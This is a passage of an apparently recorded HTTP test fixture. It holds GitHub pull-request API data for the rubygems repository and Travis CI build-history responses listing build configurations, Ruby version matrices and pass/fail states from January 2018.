gems/orgs","repos_url":"https://api.github.com/users/rubygems/repos","events_url":"https://api.github.com/users/rubygems/events{/privacy}","received_events_url":"https://api.github.com/users/rubygems/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rubygems/rubygems","description":"Library packaging and distribution for Ruby.","fork":false,"url":"https://api.github.com/repos/rubygems/rubygems","forks_url":"https://api.github.com/repos/rubygems/rubygems/forks","keys_url":"https://api.github.com/repos/rubygems/rubygems/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rubygems/rubygems/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rubygems/rubygems/teams","hooks_url":"https://api.github.com/repos/rubygems/rubygems/hooks","issue_events_url":"https://api.github.com/repos/rubygems/rubygems/issues/events{/number}","events_url":"https://api.github.com/repos/rubygems/rubygems/events","assignees_url":"https://api.github.com/repos/rubygems/rubygems/assignees{/user}","branches_url":"https://api.github.com/repos/rubygems/rubygems/branches{/branch}","tags_url":"https://api.github.com/repos/rubygems/rubygems/tags","blobs_url":"https://api.github.com/repos/rubygems/rubygems/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rubygems/rubygems/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rubygems/rubygems/git/refs{/sha}","trees_url":"https://api.github.com/repos/rubygems/rubygems/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rubygems/rubygems/statuses/{sha}","languages_url":"https://api.github.com/repos/rubygems/rubygems/languages","stargazers_url":"https://api.github.com/repos/rubygems/rubygems/stargazers","contributors_url":"https://api.github.com/repos/rubygems/rubygems/contributors","subscribers_url":"https://api.github.com/repos/rubygems/rubygems/subscribers","subscription_url":"https://api.github.com/repos/rubygems/rubygems/subscription","commits_url":"https://api.github.com/repos/rubygems/rubygems/commits{/sha}","git_commits_url":"https://api.github.com/repos/rubygems/rubygems/git/commits{/sha}","comments_url":"https://api.github.com/repos/rubygems/rubygems/comments{/number}","issue_comment_url":"https://api.github.com/repos/rubygems/rubygems/issues/comments{/number}","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/{+path}","compare_url":"https://api.github.com/repos/rubygems/rubygems/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rubygems/rubygems/merges","archive_url":"https://api.github.com/repos/rubygems/rubygems/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rubygems/rubygems/downloads","issues_url":"https://api.github.com/repos/rubygems/rubygems/issues{/number}","pulls_url":"https://api.github.com/repos/rubygems/rubygems/pulls{/number}","milestones_url":"https://api.github.com/repos/rubygems/rubygems/milestones{/number}","notifications_url":"https://api.github.com/repos/rubygems/rubygems/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rubygems/rubygems/labels{/name}","releases_url":"https://api.github.com/repos/rubygems/rubygems/releases{/id}","deployments_url":"https://api.github.com/repos/rubygems/rubygems/deployments","created_at":"2010-04-16T19:02:44Z","updated_at":"2018-01-05T19:36:06Z","pushed_at":"2018-01-05T08:20:35Z","git_url":"git://github.com/rubygems/rubygems.git","ssh_url":"git@github.com:rubygems/rubygems.git","clone_url":"https://github.com/rubygems/rubygems.git","svn_url":"https://github.com/rubygems/rubygems","homepage":"https://rubygems.org/","size":14290,"stargazers_count":1906,"watchers_count":1906,"language":"Ruby","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":959,"mirror_url":null,"archived":false,"open_issues_count":162,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":959,"open_issues":162,"watchers":1906,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/719"},"html":{"href":"https://github.com/rubygems/rubygems/pull/719"},"issue":{"href":"https://api.github.com/repos/rubygems/rubygems/issues/719"},"comments":{"href":"https://api.github.com/repos/rubygems/rubygems/issues/719/comments"},"review_comments":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/719/comments"},"review_comment":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rubygems/rubygems/pulls/719/commits"},"statuses":{"href":"https://api.github.com/repos/rubygems/rubygems/statuses/7f7d25847248494b52e9b4e3704fdf1322d35615"}},"author_association":"FIRST_TIME_CONTRIBUTOR"}]' http_version: recorded_at: Sat, 06 Jan 2018 15:00:34 GMT - request: method: get uri: http://api.travis-ci.org/repos/rubygems/rubygems/builds body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.travis-ci.2+json User-Agent: - Ruby Host: - api.travis-ci.org response: status: code: 301 message: Moved Permanently headers: Connection: - keep-alive Server: - nginx Date: - Sat, 06 Jan 2018 15:00:34 GMT Content-Type: - text/html Content-Length: - '0' Access-Control-Allow-Origin: - "*" Access-Control-Allow-Credentials: - 'true' Access-Control-Expose-Headers: - Content-Type, Cache-Control, Expires, Etag, Last-Modified, X-Request-ID Location: - https://api.travis-ci.org/repos/rubygems/rubygems/builds X-Request-Id: - 2b0ec194-51f2-4fa1-a223-6172d567b55d Via: - 1.1 vegur body: encoding: UTF-8 string: '' http_version: recorded_at: Sat, 06 Jan 2018 15:00:34 GMT - request: method: get uri: https://api.travis-ci.org/repos/rubygems/rubygems/builds body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.travis-ci.2+json User-Agent: - Ruby Host: - api.travis-ci.org response: status: code: 200 message: OK headers: Connection: - keep-alive Server: - nginx Date: - Sat, 06 Jan 2018 15:00:34 GMT Content-Type: - application/json;charset=utf-8 Transfer-Encoding: - chunked Access-Control-Allow-Origin: - "*" Access-Control-Allow-Credentials: - 'true' Access-Control-Expose-Headers: - Content-Type, Cache-Control, Expires, Etag, Last-Modified, X-Request-ID Strict-Transport-Security: - max-age=31536000 X-Endpoint: - Travis::Api::App::Endpoint::Repos X-Pattern: - "/:owner_name/:name/builds" X-Oauth-Scopes: - public X-Accepted-Oauth-Scopes: - public Vary: - Accept,Accept-Encoding Cache-Control: - no-cache X-Rack-Cache: - miss X-Request-Id: - 5a200281-c03a-4594-a6ea-72b166e7fdcb Via: - 1.1 vegur body: encoding: ASCII-8BIT string: '{"builds":[{"id":325353655,"repository_id":2221,"commit_id":96640711,"number":"4484","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"1.8.7","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"1.9.3","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.1.10","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T08:21:10Z","finished_at":"2018-01-05T08:45:13Z","duration":7543,"job_ids":[325353656,325353657,325353658,325353659,325353660,325353661,325353662,325353663,325353664,325353665,325353666,325353667,325353668,325353669,325353670,325353671,325353672,325353673,325353674]},{"id":325343605,"repository_id":2221,"commit_id":96637576,"number":"4483","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T07:41:46Z","finished_at":"2018-01-05T08:02:07Z","duration":13988,"job_ids":[325343606,325343607,325343608,325343609,325343611,325343612,325343614,325343615,325343616,325343617,325343618,325343621,325343634,325343636,325343637,325343638,325343640,325343643,325343645,325343646,325343647]},{"id":325338066,"repository_id":2221,"commit_id":96635872,"number":"4482","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T07:00:41Z","finished_at":"2018-01-05T07:28:46Z","duration":13862,"job_ids":[325338067,325338068,325338069,325338070,325338071,325338072,325338073,325338074,325338075,325338076,325338077,325338080,325338081,325338082,325338083,325338084,325338085,325338086,325338087,325338088,325338089]},{"id":325337688,"repository_id":2221,"commit_id":96635793,"number":"4481","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T06:58:21Z","finished_at":"2018-01-05T07:26:13Z","duration":14034,"job_ids":[325337689,325337690,325337691,325337692,325337693,325337694,325337695,325337696,325337697,325337698,325337699,325337700,325337701,325337702,325337703,325337704,325337705,325337706,325337707,325337708,325337709]},{"id":325332227,"repository_id":2221,"commit_id":96634111,"number":"4480","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T06:29:04Z","finished_at":"2018-01-05T06:57:43Z","duration":13314,"job_ids":[325332228,325332229,325332230,325332231,325332232,325332233,325332234,325332235,325332236,325332237,325332238,325332239,325332240,325332241,325332242,325332243,325332244,325332245,325332246,325332247,325332248]},{"id":325331967,"repository_id":2221,"commit_id":96634034,"number":"4479","event_type":"pull_request","pull_request":true,"pull_request_title":"Use `File.open` instead of `open`.","pull_request_number":2142,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T06:26:58Z","finished_at":"2018-01-05T06:54:25Z","duration":13846,"job_ids":[325331968,325331969,325331970,325331971,325331972,325331973,325331974,325331975,325331976,325331977,325331978,325331979,325331980,325331981,325331982,325331983,325331984,325331985,325331986,325331987,325331988]},{"id":325315551,"repository_id":2221,"commit_id":96629183,"number":"4478","event_type":"pull_request","pull_request":true,"pull_request_title":"Backport ruby core changes for test fixes.","pull_request_number":2141,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T06:23:40Z","finished_at":"2018-01-05T06:25:59Z","duration":13862,"job_ids":[325315552,325315553,325315554,325315555,325315556,325315557,325315558,325315559,325315560,325315561,325315562,325315563,325315564,325315565,325315566,325315567,325315568,325315569,325315570,325315571,325315572]},{"id":325313671,"repository_id":2221,"commit_id":96628624,"number":"4477","event_type":"pull_request","pull_request":true,"pull_request_title":"Use `File.open` instead of `open`.","pull_request_number":2142,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T04:34:31Z","finished_at":"2018-01-05T04:52:40Z","duration":13507,"job_ids":[325313672,325313673,325313674,325313675,325313676,325313677,325313678,325313679,325313680,325313681,325313682,325313683,325313684,325313685,325313686,325313687,325313688,325313689,325313690,325313691,325313692]},{"id":325298228,"repository_id":2221,"commit_id":96623708,"number":"4476","event_type":"pull_request","pull_request":true,"pull_request_title":"Backport ruby core changes for test fixes.","pull_request_number":2141,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T04:29:32Z","finished_at":"2018-01-05T04:31:46Z","duration":14315,"job_ids":[325298229,325298230,325298231,325298232,325298233,325298234,325298235,325298236,325298237,325298239,325298242,325298243,325298244,325298245,325298246,325298248,325298250,325298251,325298252,325298253,325298254]},{"id":325291084,"repository_id":2221,"commit_id":96621626,"number":"4475","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T02:25:58Z","finished_at":"2018-01-05T02:50:29Z","duration":13979,"job_ids":[325291085,325291086,325291087,325291088,325291089,325291090,325291091,325291092,325291093,325291094,325291095,325291096,325291097,325291098,325291099,325291100,325291101,325291102,325291103,325291104,325291105]},{"id":325285145,"repository_id":2221,"commit_id":96619818,"number":"4474","event_type":"pull_request","pull_request":true,"pull_request_title":"Backport ruby core changes for test fixes.","pull_request_number":2141,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T01:44:58Z","finished_at":"2018-01-05T02:24:46Z","duration":14577,"job_ids":[325285146,325285147,325285148,325285149,325285150,325285151,325285152,325285153,325285155,325285157,325285158,325285159,325285160,325285161,325285162,325285163,325285164,325285165,325285166,325285167,325285168]},{"id":325282093,"repository_id":2221,"commit_id":96618855,"number":"4473","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"passed","started_at":"2018-01-05T02:11:27Z","finished_at":"2018-01-05T02:14:21Z","duration":14980,"job_ids":[325282094,325282095,325282096,325282097,325282098,325282099,325282101,325282102,325282108,325282109,325282112,325282113,325282114,325282115,325282116,325282117,325282118,325282119,325282120,325282121,325282122]},{"id":325282066,"repository_id":2221,"commit_id":96618853,"number":"4472","event_type":"push","pull_request":false,"pull_request_title":null,"pull_request_number":null,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems YAML=syck"}],"allow_failures":[{"rvm":"ruby-head"}]},".result":"configured","group":"stable"},"state":"failed","started_at":"2018-01-05T01:29:26Z","finished_at":"2018-01-05T01:59:14Z","duration":14983,"job_ids":[325282067,325282068,325282069,325282070,325282071,325282072,325282073,325282074,325282075,325282076,325282077,325282078,325282079,325282080,325282081,325282084,325282085,325282086,325282087,325282088,325282089]},{"id":325276353,"repository_id":2221,"commit_id":96617020,"number":"4471","event_type":"pull_request","pull_request":true,"pull_request_title":"Backport ruby core changes for test fixes.","pull_request_number":2141,"config":{"after_script":["util/ci after_script"],"before_script":["util/ci before_script"],"language":"ruby","dist":"trusty","sudo":"required","branches":{"only":["master","auto","/^[\\d.]+$/","/.+-stable$/"]},"rvm":["1.8.7","1.9.2","1.9.3","2.0.0","2.1.10","2.2.9","2.3.6","2.4.3","2.5.0","ruby-head"],"env":["TEST_TOOL=rubygems YAML=syck","TEST_TOOL=rubygems YAML=psych","TEST_TOOL=bundler RGV=master"],"script":["util/ci script"],"matrix":{"exclude":[{"rvm":"1.8.7","env":"TEST_TOOL=rubygems YAML=psych"},{"rvm":"1.9.2","env":"TEST_TOOL=bundler RGV=master"},{"rvm":"2.0.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.1.10","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.2.9","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.3.6","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.4.3","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"2.5.0","env":"TEST_TOOL=rubygems YAML=syck"},{"rvm":"ruby-head","env":"TEST_TOOL=rubygems 